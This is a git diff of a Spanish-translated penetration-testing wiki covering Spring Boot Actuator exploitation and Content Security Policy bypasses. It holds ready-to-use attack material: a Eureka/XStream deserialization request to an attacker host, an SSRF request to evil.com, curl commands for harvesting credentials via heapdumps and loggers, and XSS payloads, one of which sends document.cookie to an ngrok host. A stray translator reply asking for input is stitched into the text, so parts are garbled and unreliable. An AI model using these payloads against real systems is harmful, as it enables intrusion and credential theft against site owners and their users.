- Si están presentes las librerías de Spring Cloud, el endpoint `/env` permite la modificación de propiedades de entorno.
|
||||
- Las propiedades pueden manipularse para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en la serviceURL de Eureka.
|
||||
- Si están presentes Spring Cloud Libraries, el endpoint `/env` permite la modificación de propiedades del entorno.
|
||||
- Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en la serviceURL de Eureka.
|
||||
- Example exploit POST request:
|
||||
|
||||
```
|
||||
@ -40,30 +40,30 @@ Content-Length: 65
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Other Useful Settings**:
|
||||
- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, y `spring.datasource.tomcat.max-active` pueden manipularse para varios exploits, como SQL injection o alterar cadenas de conexión a bases de datos.
|
||||
3. **Otras configuraciones útiles**:
|
||||
- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, y `spring.datasource.tomcat.max-active` pueden ser manipuladas para varios exploits, como SQL injection o alterar cadenas de conexión a la base de datos.
|
||||
|
||||
### **Información adicional:**
|
||||
|
||||
- Una lista completa de actuadores por defecto puede encontrarse [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- El endpoint `/env` en Spring Boot 2.x usa formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
|
||||
- Una lista completa de actuadores por defecto puede encontrarse [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- El endpoint `/env` en Spring Boot 2.x usa formato JSON para la modificación de propiedades, pero el concepto general permanece igual.
|
||||
|
||||
### **Temas relacionados:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Detalles sobre la explotación de la combinación del endpoint `/env` y la base de datos H2 pueden encontrarse [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Detalles sobre cómo explotar la combinación del endpoint `/env` y la base de datos H2 pueden encontrarse [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- El manejo por parte del framework Spring de los matrix parameters (`;`) en pathnames HTTP puede explotarse para Server-Side Request Forgery (SSRF).
|
||||
- El manejo que hace el framework Spring de los matrix parameters (`;`) en los pathnames HTTP puede ser explotado para Server-Side Request Forgery (SSRF).
|
||||
- Example exploit request:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
## Extracción de secretos desde HeapDump (credenciales, tokens, URLs internas)
|
||||
|
||||
Si `/actuator/heapdump` está expuesto, normalmente puedes obtener un snapshot completo del heap de la JVM que frecuentemente contiene secretos en vivo (credenciales DB, API keys, Basic-Auth, URLs de servicios internos, mapas de propiedades de Spring, etc.).
|
||||
Si `/actuator/heapdump` está expuesto, normalmente puedes obtener un snapshot completo del heap JVM que frecuentemente contiene secretos en vivo (credenciales de BD, API keys, Basic-Auth, URLs internas de servicios, mapas de propiedades de Spring, etc.).
|
||||
|
||||
- Descargar y triage rápido:
|
||||
```bash
|
||||
@ -89,18 +89,18 @@ java -jar JDumpSpider-*.jar heapdump
|
||||
Hallazgos típicos de alto valor:
|
||||
- Objetos Spring `DataSourceProperties` / `HikariDataSource` que exponen `url`, `username`, `password`.
|
||||
- Entradas `OriginTrackedMapPropertySource` que revelan `management.endpoints.web.exposure.include`, puertos de servicio y Basic-Auth embebido en URLs (p. ej., Eureka `defaultZone`).
|
||||
- Fragmentos planos de requests/responses HTTP incluyendo `Authorization: Basic ...` capturados en memoria.
|
||||
- Fragmentos HTTP de request/response en texto plano que incluyen `Authorization: Basic ...` capturados en memoria.
|
||||
|
||||
Consejos:
|
||||
- Usa una wordlist enfocada en Spring para descubrir endpoints de actuator rápidamente (p. ej., SecLists spring-boot.txt) y comprueba siempre si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` y `/actuator/configprops` también están expuestos.
|
||||
- Las credenciales extraídas del heapdump a menudo funcionan para servicios adyacentes y a veces para usuarios del sistema (SSH), así que pruebalas ampliamente.
|
||||
- Usa una wordlist enfocada en Spring para descubrir endpoints de actuator rápidamente (p. ej., SecLists spring-boot.txt) y revisa siempre si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` y `/actuator/configprops` también están expuestos.
|
||||
- Las credenciales extraídas del heapdump a menudo funcionan para servicios adyacentes y, a veces, para usuarios del sistema (SSH), así que pruébalas ampliamente.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
## Abusar de los loggers/logging de Actuator para capturar credenciales
|
||||
|
||||
Si `management.endpoints.web.exposure.include` lo permite y `/actuator/loggers` está expuesto, puedes aumentar dinámicamente los niveles de log a DEBUG/TRACE para paquetes que manejan autenticación y procesamiento de requests. Combinado con logs legibles (vía `/actuator/logfile` o rutas de logs conocidas), esto puede leak credenciales enviadas durante flujos de login (p. ej., cabeceras Basic-Auth o parámetros de formularios).
|
||||
Si `management.endpoints.web.exposure.include` lo permite y `/actuator/loggers` está expuesto, puedes incrementar dinámicamente los niveles de log a DEBUG/TRACE para paquetes que manejan autenticación y el procesamiento de requests. Combinado con logs accesibles (vía `/actuator/logfile` o rutas de logs conocidas), esto puede filtrar credenciales enviadas durante los flujos de login (p. ej., headers Basic-Auth o parámetros de formulario).
|
||||
|
||||
- Enumerar y subir loggers sensibles:
|
||||
- Enumera y sube el nivel de loggers sensibles:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Encuentra dónde se escriben los logs y extrae:
|
||||
- Localiza dónde se escriben los logs y extrae:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Genera tráfico de login/autenticación y analiza el log en busca de credenciales. En setups de microservicios con un gateway delante del auth, habilitar TRACE para paquetes de gateway/security frecuentemente hace visibles las cabeceras y cuerpos de formularios. Algunos entornos incluso generan tráfico de login sintético periódicamente, haciendo la recolección trivial una vez que el logging es verboso.
|
||||
- Genera tráfico de login/autenticación y analiza el log en busca de credenciales. En setups de microservicios con un gateway delante de la auth, habilitar TRACE para los paquetes del gateway/seguridad suele dejar visibles headers y cuerpos de formularios. Algunos entornos incluso generan tráfico de login sintético periódicamente, haciendo la recolección trivial una vez que el logging es verboso.
|
||||
|
||||
Notas:
|
||||
- Restaura los niveles de log cuando termines: `POST /actuator/loggers/<logger>` con `{ "configuredLevel": null }`.
|
||||
- Si `/actuator/httpexchanges` está expuesto, también puede mostrar metadata reciente de requests que puede incluir cabeceras sensibles.
|
||||
- Resetea los niveles de log cuando termines: `POST /actuator/loggers/<logger>` con `{ "configuredLevel": null }`.
|
||||
- Si `/actuator/httpexchanges` está expuesto, también puede exponer metadata de requests recientes que puede incluir headers sensibles.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ¿Qué es CSP
|
||||
## ¿Qué es CSP?
|
||||
|
||||
Content Security Policy (CSP) es una tecnología de navegador, orientada principalmente a **proteger frente a ataques como cross-site scripting (XSS)**. Funciona definiendo y especificando rutas y orígenes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos comprenden una variedad de elementos como imágenes, frames y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos inline y la ejecución de código en forma de string mediante funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
Content Security Policy (CSP) es reconocida como una tecnología del navegador, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definiendo y especificando rutas y orígenes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan elementos como imágenes, frames y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos inline y la ejecución de código en forma de cadena mediante funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
|
||||
La implementación de CSP se realiza mediante **cabeceras de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas directivas y bloquean de inmediato cualquier violación detectada.
|
||||
La implementación de CSP se realiza a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean de inmediato cualquier violación detectada.
|
||||
|
||||
- Implementado vía cabecera de respuesta:
|
||||
- Implementado mediante encabezado de respuesta:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
- Implementado vía meta tag:
|
||||
- Implementado mediante la etiqueta meta:
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Encabezados
|
||||
|
||||
CSP puede aplicarse o supervisarse mediante estos encabezados:
|
||||
CSP puede aplicarse o monitorearse usando estos encabezados:
|
||||
|
||||
- `Content-Security-Policy`: Hace cumplir la CSP; el navegador bloquea cualquier violación.
|
||||
- `Content-Security-Policy-Report-Only`: Usado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
|
||||
- `Content-Security-Policy-Report-Only`: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
|
||||
|
||||
### Definiendo Recursos
|
||||
|
||||
CSP restringe los orígenes desde los que se cargan tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es:
|
||||
CSP restringe los orígenes para la carga de contenido activo y pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -39,38 +39,38 @@ object-src 'none';
|
||||
```
|
||||
### Directivas
|
||||
|
||||
- **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts inline y scripts activados por manejadores de eventos o hojas de estilo XSLT.
|
||||
- **default-src**: Establece una política por defecto para la obtención de recursos cuando no existen directivas específicas.
|
||||
- **child-src**: Especifica recursos permitidos para web workers y el contenido de frames embebidos.
|
||||
- **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts inline y scripts desencadenados por event handlers o estilos XSLT.
|
||||
- **default-src**: Establece una política por defecto para la obtención de recursos cuando faltan directivas de fetch específicas.
|
||||
- **child-src**: Especifica recursos permitidos para web workers y el contenido embebido de frames.
|
||||
- **connect-src**: Restringe las URLs que pueden cargarse usando interfaces como fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Restringe las URLs para frames.
|
||||
- **frame-ancestors**: Especifica qué fuentes pueden embeber la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, y `<applet>`.
|
||||
- **img-src**: Define fuentes permitidas para imágenes.
|
||||
- **font-src**: Especifica fuentes válidas para las fuentes cargadas usando `@font-face`.
|
||||
- **manifest-src**: Define fuentes permitidas para archivos de manifiesto de la aplicación.
|
||||
- **media-src**: Define fuentes permitidas para cargar objetos multimedia.
|
||||
- **object-src**: Define fuentes permitidas para los elementos `<object>`, `<embed>`, y `<applet>`.
|
||||
- **base-uri**: Especifica URLs permitidas para cargarse mediante elementos `<base>`.
|
||||
- **form-action**: Lista endpoints válidos para el envío de formularios.
|
||||
- **plugin-types**: Restringe los tipos MIME que una página puede invocar.
|
||||
- **img-src**: Define las fuentes permitidas para imágenes.
|
||||
- **font-src**: Especifica fuentes válidas para fonts cargadas usando `@font-face`.
|
||||
- **manifest-src**: Define las fuentes permitidas de archivos manifest de la aplicación.
|
||||
- **media-src**: Define las fuentes permitidas para cargar objetos multimedia.
|
||||
- **object-src**: Define las fuentes permitidas para los elementos `<object>`, `<embed>`, y `<applet>`.
|
||||
- **base-uri**: Especifica las URLs permitidas para cargarse usando elementos `<base>`.
|
||||
- **form-action**: Lista endpoints válidos para envíos de formularios.
|
||||
- **plugin-types**: Restringe los mime types que una página puede invocar.
|
||||
- **upgrade-insecure-requests**: Indica a los navegadores reescribir URLs HTTP a HTTPS.
|
||||
- **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`.
|
||||
- **report-to**: Especifica un grupo al que se enviará un informe si la política se viola.
|
||||
- **report-to**: Especifica un grupo al que se enviará un reporte si la política es violada.
|
||||
- **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
|
||||
- **prefetch-src**: Especifica fuentes válidas para recursos que serán obtenidos o precargados.
|
||||
- **prefetch-src**: Especifica fuentes válidas para recursos que serán fetch o prefetched.
|
||||
- **navigate-to**: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)
|
||||
|
||||
### Orígenes
|
||||
### Fuentes
|
||||
|
||||
- `*`: Permite todas las URLs excepto las que usan esquemas `data:`, `blob:`, `filesystem:`.
|
||||
- `*`: Permite todas las URLs excepto aquellas con esquemas `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Permite la carga desde el mismo dominio.
|
||||
- `'data'`: Permite que recursos se carguen vía el esquema data (p. ej., imágenes codificadas en Base64).
|
||||
- `'data'`: Permite que los recursos se carguen vía el esquema data (por ejemplo, imágenes codificadas en Base64).
|
||||
- `'none'`: Bloquea la carga desde cualquier fuente.
|
||||
- `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares; no se recomienda por razones de seguridad.
|
||||
- `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad.
|
||||
- `'unsafe-hashes'`: Habilita manejadores de eventos inline específicos.
|
||||
- `'unsafe-inline'`: Permite el uso de recursos inline como `<script>` o `<style>`; no se recomienda por razones de seguridad.
|
||||
- `'nonce'`: Una lista blanca para scripts inline específicos que usan un nonce criptográfico (número usado una vez).
|
||||
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
|
||||
- `'unsafe-inline'`: Permite el uso de recursos inline como `<script>` o `<style>` inline, no recomendado por razones de seguridad.
|
||||
- `'nonce'`: Una lista blanca para scripts inline específicos usando un nonce criptográfico (número usado una vez).
|
||||
- Si tienes JS con ejecución limitada es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes por lo que esto no es necesario), como en:
|
||||
|
||||
<details>
|
||||
|
||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Añade a la lista blanca scripts con un hash sha256 específico.
|
||||
- `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si han sido añadidos a la lista blanca mediante un nonce o hash.
|
||||
- `'host'`: Especifica un host concreto, como `example.com`.
|
||||
- `'sha256-<hash>'`: Incluye en la lista blanca scripts con un hash sha256 específico.
|
||||
- `'strict-dynamic'`: Permite cargar scripts desde cualquier origen si han sido incluidos en la lista blanca mediante un nonce o hash.
|
||||
- `'host'`: Especifica un host específico, como `example.com`.
|
||||
- `https:`: Restringe las URLs a las que usan HTTPS.
|
||||
- `blob:`: Permite cargar recursos desde Blob URLs (p. ej., Blob URLs creadas mediante JavaScript).
|
||||
- `blob:`: Permite cargar recursos desde Blob URLs (p. ej., Blob URLs creadas vía JavaScript).
|
||||
- `filesystem:`: Permite cargar recursos desde el sistema de archivos.
|
||||
- `'report-sample'`: Incluye una muestra del código que viola la política en el informe de violación (útil para depuración).
|
||||
- `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincide con el del documento (solo orígenes seguros pueden cargar recursos desde orígenes seguros).
|
||||
- `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer peticiones same-origin, pero solo envía el origen cuando la petición es cross-origin.
|
||||
- `'unsafe-allow-redirects'`: Permite cargar recursos que redirigirán inmediatamente a otro recurso. No recomendado ya que debilita la seguridad.
|
||||
- `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el del documento (solo orígenes seguros pueden cargar recursos desde orígenes seguros).
|
||||
- `'strict-origin-when-cross-origin'`: Envía URLs completas en peticiones de mismo origen pero solo envía el origen cuando la petición es de distinto origen.
|
||||
- `'unsafe-allow-redirects'`: Permite cargar recursos que redirigirán inmediatamente a otro recurso. No recomendado porque debilita la seguridad.
|
||||
|
||||
## Reglas CSP inseguras
|
||||
|
||||
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> Esto no funciona; para más información [**consulta esto**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
> Esto no funciona, para más información [**consulta esto**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
@ -127,9 +127,9 @@ Payload funcional:
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Si de alguna manera puedes hacer que un **allowed JS code created a new script tag** en el DOM con tu JS, dado que un allowed script lo está creando, el **new script tag will be allowed to be executed**.
|
||||
Si de alguna manera puedes lograr que un **código JS permitido cree una nueva script tag** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva script tag podrá ejecutarse**.
|
||||
|
||||
### Comodín (\*)
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
@ -154,24 +154,26 @@ Payloads funcionales:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Si puedes subir un archivo JS, puedes evadir este CSP:
|
||||
Si puedes subir un archivo JS, puedes bypass este CSP:
|
||||
|
||||
Payload funcional:
|
||||
Payload que funciona:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**.
|
||||
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir cierto tipo de archivos**.
|
||||
|
||||
Además, incluso si pudieras subir un **JS code inside** en un archivo usando una extensión aceptada por el servidor (como: _script.png_) esto no será suficiente porque algunos servidores como apache server **select MIME type of the file based on the extension** y navegadores como Chrome **reject to execute Javascript** código dentro de algo que debería ser una imagen. "Por suerte", hay errores. Por ejemplo, en un CTF aprendí que **Apache doesn't know** la extensión _**.wave**_, por lo tanto no la sirve con un **MIME type like audio/***.
|
||||
Además, incluso si pudieras subir un **JS code inside** dentro de un archivo usando una extensión aceptada por el servidor (como: _script.png_), eso no sería suficiente porque algunos servidores como apache server **seleccionan el MIME type del archivo basándose en la extensión** y navegadores como Chrome **rechazarán ejecutar Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, en un CTF aprendí que **Apache doesn't know** la extensión _**.wave**_, por lo tanto no la sirve con un **MIME type like audio/***.
|
||||
|
||||
A partir de aquí, si encuentras un XSS y un file upload, y logras encontrar una **misinterpreted extension**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está comprobando el formato correcto del archivo subido, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
Desde aquí, si encuentras un XSS y una subida de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está comprobando el formato correcto del archivo subido, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Además, ten en cuenta que `default-src` no cubre las acciones de formulario.
|
||||
Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales **injecting a form action** (y quizá esperando que los password managers auto-completen las contraseñas). Puedes encontrar un [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Además, observa que `default-src` no cubre form actions.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> Para algunos de los siguientes payloads **`unsafe-eval` ni siquiera es necesario**.
|
||||
> Para algunos de los payload **`unsafe-eval` ni siquiera es necesario**.
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
@ -196,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads usando Angular + una librería con funciones que devuelven el `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads usando Angular + una librería con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!TIP]
|
||||
> El post muestra que puedes **cargar** todas las **librerías** desde `cdn.cloudflare.com` (o cualquier otro repo permitido de librerías JS), ejecutar todas las funciones añadidas de cada librería y comprobar **qué funciones de qué librerías devuelven el objeto `window`**.
|
||||
> El post muestra que podrías **cargar** todas las **librerías** desde `cdn.cloudflare.com` (o cualquier otro repo de librerías JS permitido), ejecutar todas las funciones añadidas de cada librería, y comprobar **qué funciones de qué librerías devuelven el objeto `window`**.
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -229,9 +231,9 @@ Angular XSS desde un nombre de clase:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Abusar del código JS de google recaptcha
|
||||
#### Abusando de google recaptcha JS code
|
||||
|
||||
Según [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de una CSP para ejecutar código JS arbitrario eludiendo la CSP:
|
||||
Según [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de una CSP para ejecutar código JS arbitrario burlando la CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -259,21 +261,21 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Abusar de www.google.com para un open redirect
|
||||
#### Abusar de www.google.com para open redirect
|
||||
|
||||
La siguiente URL redirige a example.com (desde [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Abusar de \*.google.com/script.google.com
|
||||
Abusando de \*.google.com/script.google.com
|
||||
|
||||
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hizo en este informe: https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/.
|
||||
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hizo en este informe: [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Endpoints de terceros + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Escenarios como este en los que `script-src` está establecido en `self` y un dominio concreto que está whitelisted pueden ser bypassed usando JSONP. Los endpoints JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS. Payload funcional:
|
||||
Escenarios como este, en los que `script-src` está establecido en `self` y un dominio particular está en la lista blanca, pueden ser eludidos usando JSONP. Los endpoints JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS. Payload funcional:
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -287,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```html
|
||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoints JSONP listos para usar para CSP bypass de diferentes sitios web.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoints JSONP listos para usar para el bypass de CSP en diferentes sitios web.**
|
||||
|
||||
La misma vulnerabilidad ocurrirá si el **trusted endpoint contiene un Open Redirect**, porque si el endpoint inicial es trusted, los redirects serán considerados confiables.
|
||||
La misma vulnerabilidad ocurrirá si el endpoint de confianza contiene un **Open Redirect** porque si el endpoint inicial es de confianza, las redirecciones también lo son.
|
||||
|
||||
### Abusos de terceros
|
||||
|
||||
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, si están permitidos en la CSP, pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
|
||||
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, si están permitidos en el CSP, pueden ser abusados para exfiltrate data o ejecutar código JavaScript. Algunos de estos terceros son:
|
||||
|
||||
| Entidad | Dominio permitido | Capacidades |
|
||||
| Entidad | Dominio permitido | Capacidades |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
@ -306,53 +308,53 @@ Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-co
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es probable que puedas eludir la CSP registrándote en el servicio de terceros y, ya sea exfiltrar datos a ese servicio o ejecutar código.
|
||||
Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas bypass del CSP registrándote en el servicio de terceros y, o bien, exfiltrate data hacia ese servicio o ejecutar código.
|
||||
|
||||
Por ejemplo, si encuentras la siguiente CSP:
|
||||
Por ejemplo, si encuentras el siguiente CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
o
|
||||
No veo el contenido a traducir. Por favor pega aquí el contenido de src/pentesting-web/content-security-policy-csp-bypass/README.md que quieres que traduzca (mantendré intactos los tags, rutas y markdown).
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
